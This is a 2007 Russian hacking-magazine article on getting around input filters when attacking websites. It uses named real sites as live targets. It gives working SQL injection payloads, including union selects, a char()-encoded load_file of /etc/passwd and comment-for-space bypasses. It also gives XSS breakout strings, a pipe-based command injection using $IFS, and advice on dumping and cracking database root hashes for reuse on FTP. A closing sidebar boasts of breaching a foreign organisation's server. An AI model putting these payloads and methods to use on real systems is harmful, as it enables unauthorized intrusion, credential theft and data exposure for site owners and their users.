| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #98, ФЕВРАЛЬ 2007 г. |
Недетский взлом
Леонид «R0id» Стройков
Хакер, номер #098, стр. 078
Маленькие проблемы могучего хакера
Ты уже не раз читал на страницах «Хакера» о различных методах взлома, да и в Сети полно статей на аналогичные темы. Вот только большинство из них затрагивают лишь часть случаев и, как правило, самых простых. Примитивные инъекции, удаленные инклуды, активные xss - все это только верхушка айсберга. Скорее всего, в твоей практике были ситуации, когда тебе приходилось отступать и прекращать атаку. А ведь при поломке крупного ресурса шанс найти распространенный баг очень мал. Поэтому при проведении более-менее серьезных атак требуется максимум внимательности и сообразительности. На решение поставленной задачи порой уходят сутки, а то и недели, но настоящие профессионалы никогда не сдаются. Не зря говорят: «Профессионал - это тот, кто ломает то, что хочет сломать, а не то, что может сломать». Сейчас я расскажу о наиболее часто встречающихся ситуациях, осложняющих и без того непростую хакерскую жизнь.
Проблемы со sql-injection
Как ни крути, но в последнее время рулят именно sql-инъекции. Программеры все чаще юзают MySQL/MSSQL-базы, не забывая кодить потенциально бажные движки :). О sql-injection уже несколько раз писалось в журнале, поэтому не вижу смысла повторяться (лучше почитай подшивку «Хакера»). Так что приступим непосредственно к сути. Как ты знаешь, все инъекты можно разделить на два типа: слепые и не слепые. Особенный геморрой при взломе создают слепые инъекции, так как в этом случае мы лишаемся возможности видеть ответ на свой запрос и саму ошибку. Причиной в php-скриптах может служить, например, error_reporting(0) (режим сокрытия сообщений об ошибках в php) и символ «@», поставленный перед функцией. Чтобы тебе было понятней, рассмотрим это явление на конкретном примере. Возьмем норвежский ресурс www.karriereguiden.no и перейдем по ссылке:
http://www.karriereguiden.no/presentation.php?id=144
Если подставить теперь символ одинарной кавычки в значение параметра id, то вместо предполагаемой ошибки мы увидим просто пустую страницу:
http://www.karriereguiden.no/presentation.php?id=144'
Следовательно, есть вероятность наличия бага. Подобрав количество полей, можно убедиться, что уязвимость действительно присутствует:
http://www.karriereguiden.no/presentation.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+/*
Если подобрано правильное количество полей, на экране будут отображены предназначенные для вывода поля. В нашем случае - это шестое и седьмое поля. В некоторых конкретных случаях для подбора количества полей можно использовать конструкцию «order by». Тогда наш запрос выглядит так:
http://target.com/index.php?id='+order+by+10/*
Если полей больше 10-ти (или ровно 10), то ошибки не будет (или, при слепом инъекте, страница отобразится в обычном виде), в противном случае мускул злобно ругнется (а при слепом инъекте ты увидишь пустую страницу). Однако существенно осложнить твою жизнь может еще и фильтрация определенных символов. Бывает, что, даже при наличии прав file_priv, прочитать файл не получается из-за фильтрации кавычки. Обойти это можно при помощи char() вот таким запросом:
http://www.iamcal.com/misc/londonbloggers_v1/station.php?id=-1+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7,8,9,10,11,12+/*
В результате мы прочитаем /etc/passwd с сервера, на котором хостится ресурс www.iamcal.com. Кстати, для того чтобы вручную не переводить символы в их ASCII-код, я написал нехитрый скриптец, сорец которого лежит на нашем диске =).
Если ты думаешь, что сложнее уже некуда, то глубоко ошибаешься. Самый геморрой все еще впереди. Бывает, что в самом запросе, в имени поля, нельзя использовать буквы. На первый взгляд, кажется, что ловить здесь абсолютно нечего и надо сворачивать удочки. Но, на самом деле, обойти фильтрацию можно при помощи aes_decrypt()/aes_encrypt():
http://fat-cat.co.uk/fatcat/artistInfo.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(user(),0x71),0x71),6+/*
Ответ вернет нам лишь одну строчку – «root@localhost» =).
Еще один распространенный случай - фильтрация пробела, которая, к слову, тоже успешно устраняется с пути хакерского :). Дело в том, что вместо пробела можно использовать комментарии. То есть если мы хотим подобрать количество полей в таблице на www.saworship.com, то запрос будет не таким:
http://www.saworship.com/article-page.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/*&Page=singles.php
А вот таким:
http://www.saworship.com/article-page.php?ID=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/*&Page=singles.php
Этот запрос успешно выполнится, и ты увидишь отображаемые поля =).
Как ты понял, геморройных ситуаций при проведении инъекций хватает. Иногда получается так, что несколько описанных мной случаев комбинируют между собой. Но главное не паниковать и не опускать руки.
Нестандартные xss
Теперь настало время рассмотреть нестандартные xss-баги. Что такое? Я слышу неодобрительные возгласы и свист гнилых помидоров с задних рядов… Зря, товарищи, зря! Тех, кто не считает xss уязвимостью, я попрошу удалиться, ибо все сказанное мной вы все равно пропустите мимо ушей. Для остальных напомню, что при успешном раскладе с помощью даже примитивного xss-бага порой можно получить пользовательский аккаунт или доступ к панели администратора сайта. Но в последнее время поля стали фильтровать все чаще, и простая проверка вида <script>alert('xss')</script> в 80% случаев уже не прокатывает. Возьмем популярный в рунете ресурс www.hotel.ru. Полазив немного по линкам, несложно заметить самописный форум. Нас, собственно, больше всего интересует формочка для создания тем/сообщений. Повтыкав во все поля стандартные <script>alert('xss')</script>, многие подумают, что xss здесь и не пахло. Но это только на первый взгляд. Вбив javascript-код в поле «Сообщение» и присмотревшись к html-сорцу странички, можно обнаружить, что кавычка никак не фильтруется, а перед нашим кодом открыты тэги <TEXTAREA>, <TD> и <TR>:
<TR BGCOLOR="#fff2e4"><TD><TEXTAREA NAME="mesg" ROWS=10 COLS=49 class=forms1white style="width:400"><script>alert('xss')</script></TEXTAREA></TD></TR>
То есть нам нужно закрыть все открытые до нашего javascript-кода тэги, после чего указать сам javascript-код. Выглядеть в html-сорце это будет так:
<TR BGCOLOR="#fff2e4"><TD><TEXTAREA NAME="mesg" ROWS=10 COLS=49 class=forms1white style="width:400"></TEXTAREA></TD></TR><script>alert('xss')</script></TEXTAREA></TD></TR>
А сам сплойт примет вид:
</TEXTAREA></TD></TR><script>твой_яваскрипт_код_здесь</script>
Похожую ситуацию, но уже в другом ракурсе можно наблюдать на сайте www.plentyoffish.com. После прохождения в раздел регистрации (www.plentyoffish.com/register.aspx) и введения в поле пароля символа одинарной кавычки тебя попросят заполнить все поля. Однако, дописав параметр password и придав его значению символ кавычки, мы получим тот же результат. Но если мы составим линк:
http://www.plentyoffish.com/register.aspx?password=<script>alert('xss')</script>
нас попросят пройти лесом. Хотя, если заглянуть в html-сорец, видно, что сначала необходимо закрыть кавычкой VALUE и указать «>»:
<TD><INPUT class="input" TYPE="input" NAME="Password" VALUE="" SIZE="13" MAXLENGTH="13" style="width: 100px">
Составленный с учетом всех требований, запрос успешно сработает:
http://www.plentyoffish.com/register.aspx?password="><script>alert('xss')</script>
А сам эксплойт получится таким:
"><script>твой_яваскрипт_код_здесь</script>
Я привел лишь пару случаев. На самом деле, тема xss гораздо глубже, и геморроя хватает и здесь =).
Прочий «головняк»
Помимо всего прочего, часто встречаются и отдельные варианты «головняка». В частности, в перл-скриптах может присутствовать фильтрация пробела. Например, ресурс www.cumcla.org содержит бажный скрипт showfile.cgi. Передав параметру filename значение id, мы увидим, что команда успешно выполнилась:
http://www.cumcla.org/cgi-bin/showfile.cgi?directory=cgi-bin&filename=|id|
Но выполнение любой из составных команд (ps -ax, ls -la, uname -a, и т.д.) окажется неудачным, так как пробел фильтруется. В перле подобное ограничение можно обойти при помощи $IFS, то есть тебе достаточно поменять в запросе все имеющиеся пробелы на $IFS. В таком случае просмотреть версию операционки на сервере не составит труда:
http://www.cumcla.org/cgi-bin/showfile.cgi?directory=cgi-bin&filename=|uname$IFS-a|
Еще один неприятный момент - авторизация в админке через .htpasswd. Дело в том, что даже если ты каким-то образом прочитал содержимое .htpasswd, то пасс там будет в 99% случаев лежать в зашифрованном виде. Причем в разных случаях алгоритм шифрования может быть разным. Это связано с тем, что утила htpasswd, идущая в комплекте с Апачем, поддерживает несколько алгоритмов шифрования, а именно - DES (ключ ‘-d’), MD5 (ключ ‘-m’) и SHA (ключ ‘-s’). При наличии на руках примеров хэшей этих алгоритмов, не составит особого труда определить, с каким ключом работает утила htpasswd в конкретно взятом случае.
Также стоит упомянуть об asp-движках. Здесь следует опровергнуть мнение о том, что asp-скрипты могут работать только под виндой, как считают многие. Хотя aspx встречается исключительно под win, asp-движок не плохо себя чувствует и под никсами. Взлому asp-движков будет посвящена моя статья в одном из следующих выпусков журнала, поэтому подробно заострять внимание на этом сейчас я не буду. Скажу лишь, что расширению не всегда можно верить - оно запросто может оказаться фейковым. Кстати, нельзя чрезмерно доверять и баннерам, принадлежащим крутящимся на сервере службам. Грамотный админ не обломается изменить стандартное приветствие ftp/smtp-сервера. Не зря говорят: «Доверяй, но проверяй». Всегда следуй этому правилу.
В заключение обращу твое внимание на получение доступа к базе. Как ты понимаешь, зачастую, даже имея на руках раскрученный инъект, хочется получить полноценного юзера (читай - рута =)) в ломаемой БД. Изначально многое зависит от юзера, с правами которого работает с базой уязвимый скрипт. Если есть доступ, например, к базе mysql, то не поленись проверить возможность удаленных подключений к БД (таблица user, поле host). Если такая возможность присутствует - считай, что тебе повезло. Сливай хэш рутового пароля к базе (таблица user, поля user и password). Как правило, пасс бывает в виде mysql-хэша (16 символов), но иногда встречается и алгоритм SHA-1. Первый брутится без проблем (смотри утилу в разделе «X-Tools»), а вот с SHA могут возникнуть трудности. Если удаленные подключения запрещены, то я все же советую тебе сбрутить пассы юзеров БД, так как нередки случаи, когда они подходят к ftp. Ну а при отсутствии доступа к базе mysql, но при наличии прав file_priv, читай конфиги и сорцы, которые могут содержать в себе заветные пароли. Конфиг Апача поможет тебе определить расположение директорий виртуальных хостов :).
Последнее слово
Рассмотреть все случаи в рамках одной статьи нереально. Я обозначил лишь те, которые наиболее часто встречаются в повседневной хакерской жизни. Надеюсь, ты понял, что взлом - это не просто применение чужих сплойтов, но и реализация своих собственных идей. Всегда борись до последнего и помни - профессионалы никогда не сдаются.
VIDEO
На DVD-диске ты найдешь видео по взлому к статье.
DVD
На диске ты найдешь мой скрипт char.pl, с помощью которого можно без лишнего геморроя преобразовать символы в их ASCII-код.
Danger
Внимание! Все действия взломщика противозаконны! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!
Info
Никогда не сдавайся. Ищи новые пути решения проблемы. Все простые пути уже нашли до тебя.
Причины возникновения хак-геморроя
Как ты уже понял из статьи, все наиболее крупные взломы не обходятся без такого явления, как «хак-гемор», или геморрой при взломе. Причины этого явления кроются, прежде всего, в недружелюбно настроенных по отношению к нам (хакерам) админах. Приведу пример. Не так давно, при взломе сервера достаточно крупной забугорной организации, мне удалось получить и расшифровать хэш рутового пароля к базе. Причем имелась возможность удаленного подключения к БД. Но тут меня ждал облом - файр жестко фильтровал все подключения к открытым портам, разрешая коннект лишь с определенных IP-адресов. Аналогичные правила работали и для 21-го и 22-го портов. Этот факт несомненно огорчил, хотя доступ к интересующей меня базе я, в итоге, получил, раскрутив слепой инъект и подобрав таблицы с полями. Этот случай лишь подтверждает необходимость использования всех возможных методов при взломе. Ведь если шанс есть, значит, нужно пробовать его реализовать =).